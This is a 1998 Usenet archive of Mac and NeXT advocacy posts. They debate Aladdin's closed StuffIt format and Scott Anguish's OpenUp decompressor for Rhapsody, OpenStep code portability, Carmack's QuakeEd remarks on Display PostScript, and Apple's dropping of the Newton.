> ms faces the same kind of criticism, and still does this. Although
> ms may make some less than stellar products, technically, they
> generally do well on the strategic business decisions. There must
> be something to it.
I'm sure Micrsoft faces the same problem. I'm also sure that even if
there was a problem, the testamonials and letters to the editor praising
Microsoft would far outweigh the complaints :-)
Mike Paquette
mpaque@wco.com
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 06:34:28 GMT
Organization: I don't think so
Message-ID: <slrn6joflf.n9p.jason@jhste1.dyn.ml.org>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com>
Scott Anguish wrote:
> My 'compression standard' is to use the pre-existing
>components (gnutar/gzip) on Rhapsody and do it that way. I doubt very
>much that anyone is going to attempt to put forward any closed
>compression 'standard' on Rhapsody.
You should support bzip2 also - it's an emerging standard that outdoes
gzip by about 20%.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: Mon, 20 Apr 1998 22:32:15 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d7t0tx.1sp5rizgsewnaN@cetus208.wco.com>
References: <01bd6b0f$26d02aa0$0b0ba8c0@woohoo> <B15E8231-75E71@206.165.43.29> <35393e83.0@206.25.228.5> <B15E911B-ADFAF@206.165.43.29> <6hbh3c$o7e$1@news.xmission.com> <B15EB36A-23703@206.165.43.9> <6hbuq2$re3$1@vixen.cso.uiuc.edu> <B15F0E87-14587@206.165.43.28> <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146> <6hesjg$g95$1@vixen.cso.uiuc.edu> <353B6C07.30F97F82@nstar.net> <rex-2004981525550001@192.168.0.3> <353BB79B.70B5@CONVEX.COM>
Michael Peck <ECK@CONVEX.COM> wrote:
> Do you mean Interceptor? Assuming you do, can somebody point me to a
> NeXTAnswers article on the subject? This is the only thing I could find
> online:
Look in the on-line documentation in DR1 for the class NSDirectBitmap.
You might also want to look at the related classes NSDirectScreen and
NSDirectPalette.
--
Mike Paquette mpaque@wco.com
"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
service marks of Apple Computer, Inc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 21 Apr 1998 07:36:20 GMT
Organization: P & L Systems
Message-ID: <6hhi9k$57p$16@ironhorse.plsys.co.uk>
References: <joe.ragosta-1404981037440001@wil44.dol.net> <B159020F-6203B@206.165.43.147>
<6h5bfk$58j$2@ironhorse.plsys.co.uk> <01bd699d$3a2001c0$3af0bfa8@davidsul>
<slrn6jcu7s.lbp.sal@panix3.panix.com> <01bd69f7$fbc3e580$40f0bfa8@davidsul>
<slrn6jk4ch.rln.sal@panix3.panix.com> <01bd6bf8$ee914080$15f0bfa8@davidsul>
<6hg5an$57p$12@ironhorse.plsys.co.uk> <01bd6cde$5aa2cc40$24f0bfa8@davidsul>
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Cc: macghod@concentric.net
In <01bd6cde$5aa2cc40$24f0bfa8@davidsul> "NeXT Newbie" wrote:
> So a OPENSTEP program will run on rhapsody?
>
Yes, the code will, in 99.9% of cases (there have been a few tweaks, but
they're only likely to affect anyone with a lot of legacy code), simply
recompile. We've been saying this for about a year now -- it's difficult to
understand how you've missed the point.
> I figured that since
> OPENSTEP will be given a mac front end, one would need to know the rhapsody
> api calls to give their rhapsody app a rhapsody gui, which I understand
> will be a different gui than what OPENSTEP has, ie a more mac like gui?
>
Umm, you already know that an OPENSTEP app running on Windows has a Windows
GUI, right? So why won't a Rhapsody app have a Rhapsody GUI using the same
code and interface specification...? It Just Works. It's been working for
years.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 07:44:54 GMT
Organization: P & L Systems
Message-ID: <6hhipm$57p$17@ironhorse.plsys.co.uk>
References: <01bd6cff$da3af880$23f0bfa8@davidsul>
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Cc: macghod@concentric.net
In <01bd6cff$da3af880$23f0bfa8@davidsul> "NeXT Newbie" wrote:
> I read that Alladin is not cooperating with Scott Anguish on his excellent
> program OpenUp. This program is a comprehensive decompression package for
> the yellowbox, and since .sit is so popular on the mac, he (so I have read)
> wants to incorporate decompressing .sit into his program, but (from what I
> have read) Alladin is not cooperating. Now of course they have every right
> to keep this propriertary, but I think we should encourage Alladin to
> cooperate. Has their been any effort to do this? Who can we email?
>
FWIW, we've (Scott and I) already talked with Apple on the subject, and a
couple of Apple people liased with Alladdin about this, but to no avail...
mmalc.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Mon, 20 Apr 1998 21:23:08 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353C030C.A48C6D2E@milestonerdl.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul>
Mime-Version: 1.0
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NeXT Newbie wrote:
> I read that Alladin is not cooperating with Scott Anguish on his excellent
> program OpenUp.
The simple solution is to provide a BETTER solution than Alladin and give it
away. And be sure to note that you did this BECAUSE of the attitude Alladin
had.
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 20 Apr 98 19:26:02 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B16151DF-182C38@207.217.155.172>
References: <01bd6cff$da3af880$23f0bfa8@davidsul>
Mime-Version: 1.0
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nntp://news.earthlink.net/comp.sys.next.advocacy
>Now of course they have every right
>to keep this propriertary, but I think we should encourage Alladin to
>cooperate.
What's wrong with a little competition? Concerning Aladdin, look at what
competition has done to make installers easy to program and easier to use,
as well as keeping unit prices super low.
This whole thing makes me think... If someone wrote a good shell with a
consistent HI for compression, encoding, and installation services, all
these guys would pay him!
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 05:29:38 GMT
Organization: Digital Fix Development
Message-ID: <6hhas2$eef$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com>
In-Reply-To: <353C0FD7.B490AEAB@milestonerdl.com>
On 04/20/98, M Rassbach wrote:
>
>
>Scott Anguish wrote:
>
>> On 04/20/98, M Rassbach wrote:
>> >
>> >
>> >NeXT Newbie wrote:
>> >
>> >> I read that Alladin is not cooperating with Scott Anguish on his
>> excellent
>> >> program OpenUp.
>> >
>> >The simple solution is to provide a BETTER solution than Alladin
and
>> give it
>> >away. And be sure to note that you did this BECAUSE of the
attitude
>> Alladin
>> >had.
>> >
>> >
>>
>> This doesn't help the users who have legacy .sit files, or
>> have to work in an environment that uses .sit files.
>
>Beat them at their own game.
>
>If your code hits a .sit, you ask the user if they want you to
convert
>the .sit to the new OPEN format. You pass the .sit to the already
>installed Alladin on the users box. You take the un-compressed files
and
>re-compress them. Then delete the the .sit (or not) and the
uncompressed
>file.
>
Uh, thats fine and dandy, except that we're talking about
Rhapsody here, not Mac OS.
There is no StuffIt application (on Rhapsody) to pass the .sit
too. Blue Box isn't the answer.. not everyone running Rhapsody is
running on PPC hardware..
<snip>
>
>You have an opening.... claim your compression 'standard' is the way
user
>should deal with YellowBox code. And why? Well, because Alladin
did
>not support Unix/YellowBox.
My 'compression standard' is to use the pre-existing
components (gnutar/gzip) on Rhapsody and do it that way. I doubt very
much that anyone is going to attempt to put forward any closed
compression 'standard' on Rhapsody.
I do have some ideas on the Mac problems, and I've outlined
them on a mailing list... they allow you to encode all the Macintosh
specific information (resource forks/finder info etc..) using existing
standard, documented formats.
I don't really have any target interest in developing an app,
even using YB, to deal with the legacy issues on the Mac side
(resource forks/finder info) and all the problems that they have..
I'm developing on Rhapsody and thats my main target concern...
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 21 Apr 1998 07:57:23 GMT
Organization: P & L Systems
Message-ID: <6hhjh3$57p$18@ironhorse.plsys.co.uk>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <slrn6f7cgk.lhl.sal@panix3.panix.com>
<34F40BA0.716A@remove.muenchen.this.org.junk> <6d1e5c$bno$1@bignews.shef.ac.uk>
<6devrh$ra1$5@quasar.dimensional.com> <6df800$fn6$29@ironhorse.plsys.co.uk>
<6dfpj6$3o0$5@quasar.dimensional.com> <slrn6fn6au.cnk.sal@panix3.panix.com>
<6gumlt$4m9$1@quasar.dimensional.com> <slrn6jdmtr.3u2.sal@panix3.panix.com>
<6h8g9l$48$1@quasar.dimensional.com> <6hajer$57p$4@ironhorse.plsys.co.uk>
<6heag2$18l$1@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6heag2$18l$1@quasar.dimensional.com> Kenneth R. Kinder wrote:
> In comp.os.linux.advocacy , article <6hajer$57p$4@ironhorse.plsys.co.uk> ,
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> >> Well, OpenStep is not in question. NextStep is.
>
> > What on earth has NEXTSTEP to do with this?!
>
> Keep up on threads, don't you. If you can't figure out what NextStep has
to
> do with NextStep and GNUStep relations, you're more hopeless than I ever
> thought.
>
OK, Ken, pretend I'm really ignorant... please enlighten me, as the Master
might enlighten the Grasshopper by bending over to tighten his sandal, let me
know that is the relationship between NextStep and GNUStep.
Let us also pretend that I do not have access to the WWW, so, unfortunate
individual that I am, I cannot look at any URLs that you might care to refer
me to; how much better anyway to hear the words like pearldrops -- or any
other brand of tooth whitener for that matter -- from your own sweet lips.
Best wishes,
mmalc.
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Mon, 20 Apr 1998 22:59:10 -0700
Organization: "The Company" (Formerly Known As Obsidian)
Message-ID: <forrestDELETE-THIS!-2004982259110001@term1-10.vta.west.net>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com>
Scott, could you just do a clean-room .sit decompression engine, or would
that we way over your head? (I wouldn't know, I'm not a programmer, I just
hang around a lot of them).
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 03:29:56 GMT
Organization: Digital Fix Development
Message-ID: <6hh3rk$c1i$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul>
In-Reply-To: <01bd6cff$da3af880$23f0bfa8@davidsul>
On 04/20/98, "NeXT Newbie" wrote:
>I read that Alladin is not cooperating with Scott Anguish on his
excellent
>program OpenUp. This program is a comprehensive decompression
package for
>the yellowbox, and since .sit is so popular on the mac, he (so I have
read)
>wants to incorporate decompressing .sit into his program, but (from
what I
>have read) Alladin is not cooperating. Now of course they have every
right
>to keep this propriertary, but I think we should encourage Alladin to
>cooperate. Has their been any effort to do this? Who can we email?
>
>
Let me comment on this, since I'm directly involved in OpenUp.
Its Alladin's choice not to do this.. I just wish that they'd
do SOMETHING about Rhapsody.
If its not got anything to do with me, or OpenUp, thats fine.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: IMPEACH JOBS
Date: 21 Apr 1998 03:28:04 GMT
Organization: Digital Fix Development
Message-ID: <6hh3o4$c1h$1@news.digifix.com>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hejvp$e1u$1@news.digifix.com> <353B2813.27582807@milestonerdl.com> <6hgcou$4bf$1@news.digifix.com> <353BBB75.2C677724@milestonerdl.com>
In-Reply-To: <353BBB75.2C677724@milestonerdl.com>
On 04/20/98, M Rassbach wrote:
>
>
>Scott Anguish wrote:
>
>> Hint... I wasn't directing this at Steve Jobs..
>>
>> This question was directed at the original poster in this
>> thread... MacGhod, or NeXT Newbie, or Steve Sullivan, or whatever
the
>> hell he wants to call himself.
>
>And one in your direction:
>
>If Gil was so bad, why DID Apple buy NeXT?
I didn't make any comments about Gil's term at Apple.
I've commented on what Gil did AFTER he was terminated. Its
his BOOK that I feel was inappropraite, especially the way that he
approached it..
He made alot of moves that had to be done when he was at
Apple. Buying NeXT over the other options was the smart move.
>(This whole thing GREATLY expands OpenStep....although where it's
going is
>up in the air. And I'm doubting it will hit anything hard and stick
there
>for some time)
>
If you mean the purchase of NeXT, yes, I agree that Rhapsody
is a great boone.. we're getting alot that we wouldn't have gotten if
Apple hadn't bought NeXT.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: MacBacon-Berger@bigfoot.com
Newsgroups: comp.unix.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: NT 5.0 - how big really? [was Re: Lies Upon Lies ..]
Date: Tue, 21 Apr 1998 03:22:54 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6hhl0t$jk$1@nnrp1.dejanews.com>
References: <34F08396.D7D29378@spamtoNull.com> <6eot72$qhu$1@news.cs.tu-berlin.de> <50dQ.108$rZ.455277@newsgate.direct.ca> <35377F3F.847FFFDD@innocent.com> <6hfgpi$29u@access4.digex.net>#1/1
In article <6hfgpi$29u@access4.digex.net>#1/1,
cobrien@access4.digex.net (Cary B. O'Brien) wrote:
>
> In article <35377F3F.847FFFDD@innocent.com>,
> Nat Tate <nat.tate@innocent.com> wrote:
> >
> >
> >Kaz Kylheku wrote:
> >
> >> In article <6eot72$qhu$1@news.cs.tu-berlin.de>,
> >> Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> >> >Aaron R Kulkis <akulkis@be1151.pd3.ford.com> writes:
> >> >>> Could it be that the giant is slowly being caught in its own
products?
> >> >
> >> >
> >> >>This is what happens when you get hire bunches of numb-nuts
> >> >>programmers.,..
> >> >
> >> >Well, the person in charge of the modularization effort was said
> >> >to be very, very smart. Didn't help him much, though.
> >>
> >> He was probably referring to the original developers.
> >
> >My golfing buddy tells me he's playing a lot of rounds with Dave Cutler
these
> >days. He asked the Big C if he shouldn't be working on NT 5.0, Cutler
replied
> >"no worries, IFV", allegedly.
> >
>
> IFV meaning....?
I think this is a reference to those guys at Apple who used to wear T-shirts
with the logo FOIFV... Fuck Off I'm Fully Vested. Meaning that they had
enough Apple stock never to have to work for _money_ again. So I guess it
means that Dave Cutler has had enough of Bill Gates post-pubescent whining.
Dave
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 03:40:12 GMT
Organization: Digital Fix Development
Message-ID: <6hh4es$c92$1@news.digifix.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <B16151DF-182C38@207.217.155.172>
In-Reply-To: <B16151DF-182C38@207.217.155.172>
On 04/20/98, "Brad Hutchings" wrote:
>>Now of course they have every right
>>to keep this propriertary, but I think we should encourage Alladin
to
>>cooperate.
>
>What's wrong with a little competition? Concerning Aladdin, look at
what
>competition has done to make installers easy to program and easier to
use,
>as well as keeping unit prices super low.
>
Competition on the basis of the product is fine.
Competition on the basis of locking users into a file-format
(which is all that .sit files are) isn't good for users.
That's whats relevant in the discussion regarding .sit file
and StuffIt.
>This whole thing makes me think... If someone wrote a good shell with
a
>consistent HI for compression, encoding, and installation services,
all
>these guys would pay him!
>
Rhapsody will have a consistent HI for installation of apps.
Thankfully it will be there from day one, and provided by Apple.
Consistency of installation, recording of that installation
information, and deinstalling capabilities are not the type of things
that should be left up to a third party who have their own interests..
That doesn't have users best interests in mind.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Gates breaks 98
Date: Mon, 20 Apr 1998 23:06:24 -0700
Organization: Trilithon Research and Trading
Message-ID: <353C3760.C32C5EE8@trilithon.com>
References: <01bd6cb4$b88b4550$04387880@test1>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Todd Heberlein wrote:
* Bill Gates crashed Windows 98 during demonstration.
* For more information, see . . .
Yawn. When His Stevieness crashed an EOF demo at NextWorld,
he just said, "there --- now you can see it's a live demo".
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: Tue, 21 Apr 1998 00:43:23 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <353C31FB.926B5243@milestonerdl.com>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353C030C.A48C6D2E@milestonerdl.com> <6hh3t0$c1l$1@news.digifix.com> <353C0FD7.B490AEAB@milestonerdl.com> <6hhas2$eef$1@news.digifix.com>
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Scott Anguish wrote:
> On 04/20/98, M Rassbach wrote:
> >Beat them at their own game.
> Uh, thats fine and dandy, except that we're talking about
> Rhapsody here, not Mac OS.
Then declare the Mac a legacy App, And tell them that the rest of the
world is using compress/gnutar/gzip and if they want to move data over,
they need to decompress the files and re-compress them the accepted Unix
way.
(besides, what good are Mac apps on a Unix box?)
If Mac users are willing to read and write PC disks, surely they can
compress their files in a compatible way.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 21 Apr 1998 07:29:45 GMT
Organization: P & L Systems
Message-ID: <6hhht9$57p$15@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com>
<1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com>
<6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr>
<1998040920073876968@dialup-202.def.oleane.com>
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Cc: Le_Jax@iName.com
In <1998040920073876968@dialup-202.def.oleane.com> Jacques Foucry wrote:
> Olivier Gutknecht <gutkneco+news@lirmm.fr> wrote (Ýcrivait)€:
>
> > Agreed. The only explanation is that Apple is not interested anymore in
> > small/independant development groups.
>
> Perhaps, but without small/independant developer, no "Super Clock", no
> "Stickies", no new Control Strip...
>
And the downside...?
FWIW, Stickies for Rhapsody was pretty much our Friday afternoon project for
the folks at Apple Cork...
Best wishes,
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: 21 Apr 1998 01:48:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B161AB2F-2CF4A@206.165.43.107>
References: <353BC05C.673D90C7@nkn.net>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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R. Kirk McPike <rkirkmcp@nkn.net> said:
> > To most poeple, that's 2 versions of one application, not two
applications
> > :-)
>
> But it shows up as two apps on a list of bestsellers. That's what Lawson
is
> saying.
I believe it is Quicken Delux 98 and QUicken Basic 98, or something like
that.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Petition to Alladin?
Date: 21 Apr 1998 02:17:25 GMT
Organization: I don't think so
Message-ID: <slrn6jo0jh.bnm.jason@jhste1.dyn.ml.org>
References: <01bd6cff$da3af880$23f0bfa8@davidsul> <353BFC0A.CF65C0D9@nstar.net>
Michael J. Peck wrote:
>> I read that Alladin is not cooperating with Scott Anguish on his excellent
>> program OpenUp. This program is a comprehensive decompression package for
>> the yellowbox, and since .sit is so popular on the mac, he (so I have read)
>> wants to incorporate decompressing .sit into his program, but (from what I
>> have read) Alladin is not cooperating. Now of course they have every right
>> to keep this propriertary, but I think we should encourage Alladin to
>> cooperate. Has their been any effort to do this? Who can we email?
>The ability to read and write the StuffIt format would be useful for a
>large number of markets, not just for OpenUp. I would sure appreciate it
>if the UNIX-based macunpack could read a modern StuffIt file.
>I think Aladdin could (and should) be convinced that opening up the
>StuffIt file specs would be to their benefit, as gzip and zip formats
>are both cross-platform and open, and threaten to wipe away the last
>traces of Aladdin's proprietary format. It is to nobody's benefit to
>protect proprietary file formats when those formats are used for file
>interchange in a post-Internet industry.
Took the words right out of my mouth.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: I try to tell you people...
Date: Mon, 20 Apr 1998 23:44:08 +0100
Organization: EarthLink Network, Inc.
Message-ID: <353BCFAE.28D2@earthlink.net>
References: <MPG.f9ed5b0eb5d89c29896eb@news.itg.ti.com> <01bd68f3$0ee25ee0$41f0bfa8@davidsul> <6h3tmu$dpg$1@news.digifix.com> <01bd6927$5321b180$24f0bfa8@davidsul> <6henng$pdv$1@interport.net>
Mime-Version: 1.0
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float@interport.net wrote:
> NeXT Newbie (macghod@concentric.net) wrote:
> : Yay, rhapsody is out with its great support for
> : multi-processors. Oops, but their is no photoshop :P
Oops, but there is still the Blue Box! You can have your Rhapsody and
eat your cake too!
There's also a good chance that TIFFany could possibly put Photoshop to
bed. Now, if Caffiene can do up an "After Effects Killer" we'd be
cookin' with gas!!
Steve
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 20 Apr 1998 18:09:14 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6jn3q9.csm.mbkennel@lyapunov.ucsd.edu>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <joe.ragosta-1904981929240001@elk50.dol.net> <353A9047.BD0C1EAE@milestonerdl.com> <joe.ragosta-2004980636330001@elk52.dol.net> <jayfar-2004981035510001@downtown1-10.slip.netaxs.com>
On Mon, 20 Apr 1998 10:35:50 -0400, Jayfar <jayfar@netaxs.com> wrote:
:In article <joe.ragosta-2004980636330001@elk52.dol.net>,
:joe.ragosta@dol.net (Joe Ragosta) wrote:
:
:| Apple stated that Newton had never made money.
: *****
:
:Fred Anderson said Newton "historically" didn't turn a profit.
:Translating corporate weasel-speak, that indicates it was recently either
:producing a slim profit or was very close to doing so.
:
:Jayfar
The real question is the expected profitability of some future device that
Apple in planning on creating. Since there is a major hiring shortage for
good embedded engineers, it's not so easy to let people go who are just the
right sorts you need for your next product. (and will be competing in
mindshare with it). As far as I can tell, Apple must believe that the
expected returns from this new product line may be larger than those
expected of the Newton.
Still it doesn't excuse *stopping* to sell the Newton before the
successor is ready. That is incomprehensible to me.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 21 Apr 1998 09:00:25 GMT
Organization: P & L Systems
Message-ID: <6hhn79$57p$19@ironhorse.plsys.co.uk>
References: <6hg243$l1p$1@vixen.cso.uiuc.edu> <B160E637-9ACF1@206.165.43.36>
<6hga8t$57p$14@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In <6hga8t$57p$14@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> In <B160E637-9ACF1@206.165.43.36> "Lawson English" wrote:
> > I've been told that Carmack's problem with speed was due to a specific
> > hardware issue rather than any shortcoming in DPS itself.
> >
> Wow, so at least Laswon took Mike's advice...
>
> "If you're going to attempt to baffle people with your bullshit, at least
> make some attempt to make it appear plausible."
>
It looks like I snipped too much of the context here; I'm sure that Lawson's
report "I've been told that Carmack's problem with speed was due to a
specific hardware issue rather than any shortcoming in DPS itself" is
correct, it's the original set of Carmack quotes I was referring to -- I
should really have followed up to that than to the above.
Best wishes,
mmalc.
From: kcd@babylon5.jumpgate.com (Kenneth C. Dyke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
Date: 21 Apr 1998 09:20:01 GMT
Message-ID: <6hhoc1$qss$1@nntp2.ba.best.com>
References: <1d7qd81.11sv8y81oi2sytN@cetus206.wco.com> <B15FC8BD-F007D@206.165.43.146>
In-Reply-To: <B15FC8BD-F007D@206.165.43.146>
On 04/19/98, "Lawson English" wrote:
>
>Thanks for the response and clarification. Here is what Carmack said
about
>the Quake editor. Apparently I misunderstood?
>
><http://www.gamers.org/dEngine/quake/QuakeEd/QuakeEd.html>
>++++
>"This is a NEXTSTEP application, so hardly anyone is going to be able
to
>use the code as is. This is not an OPENSTEP application. It doesn't
even
>use the foundation kit, so porting to gnustep or
openstep-solaris/mach/nt
>would not be trivial.
>
>This application was really not a very good fit for NEXTSTEP. The
display
>postscript model fundamentally doesn't fit very well with what we need
here
>-- if you run in an 8 bit color mode, the line drawing runs at an ok
speed,
>but the texture view goes half the speed it should as it dithers from
24
>bit color down to 8 bit. If you run in 24 bit color mode, you get less
>screen real estate and significantly slower line drawing as a 3
megabyte XY
>view is flushed. Sigh. If anyone does actually run this on NEXTSTEP be
>advised that you want a fast machine."
>+++++
One thing you aren't taking into account is the timeframe that this was
written in. This was back in the '486 days when the best you could
hope for was maybe a 2MB LocalBus card. It was a while before there
were any 4MB cards that were even supported by NEXTSTEP, and PCI
support came even later. Needless to say, Localbus wasn't exactly
'blazing' at that time, and definitely not even in the same ballpark as
good Pentium/Pentium II PCI systems around these days. QuakeEd would
probably run pretty decently on a newer PCI system, but it's sort of
pointless to use DPS if you were to have OpenGL around, which is what
the latest incarnation of QuakeEd is using on Windows. This is
probably the real meaning behind his statement that QuakeEd wasn't a
good fit for NEXTSTEP. If NEXTSTEP had supported something like OpenGL
and accelerated hardware support for it was actually affordable, things
may have been different. (As I hope they will be different for
Rhapsody eventually.)
-Ken
--
Kenneth Dyke, kcd@jumpgate.com (personal), kdyke@ea.com (work)
Nuclear Strike and OPENSTEP Tools Engineer, Electronic Arts
C++: The power, elegance and simplicity of a hand grenade.
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: 20 Apr 1998 18:42:17 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6jn5o8.csm.mbkennel@lyapunov.ucsd.edu>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <hi-2908560507090001@1cust23.tnt8.krk1.da.uu.net> <353B172A.2761@london.virgin.net> <MPG.fa4876a49b5a7429898ba@news.supernews.com>
On Sun, 19 Apr 1998 23:14:16 -0500, Donald Brown <don.brown@cesoft.com> wrote:
